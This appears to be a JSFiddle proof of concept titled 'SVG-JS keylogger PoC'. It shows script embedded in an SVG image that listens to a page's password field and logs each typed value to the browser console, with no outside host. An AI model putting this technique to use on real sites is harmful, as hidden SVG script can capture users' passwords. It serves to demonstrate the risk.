SVG-JS keylogger PoC

by Stalk February 05, 2018

HTML

<input type="password"> <hr>

<svg width="30%" height="30%" viewBox="0 0 50 50"
     xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
    <script>alert("ok");
    
    document.querySelector('input[type="password"]').addEventListener('input', function(){ console.log(this.value)})
    
    </script>
    <circle cx="25" cy="25" r="25"/>
</svg>

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SVG-JS keylogger PoC

HTML

Please Whitelist JSFiddle in your content blocker.

Join the 4+ million users, and keep the JSFiddle dream alive.

Ad-free

Use pre-released features

Fiddle collections

Private collections and fiddles

Console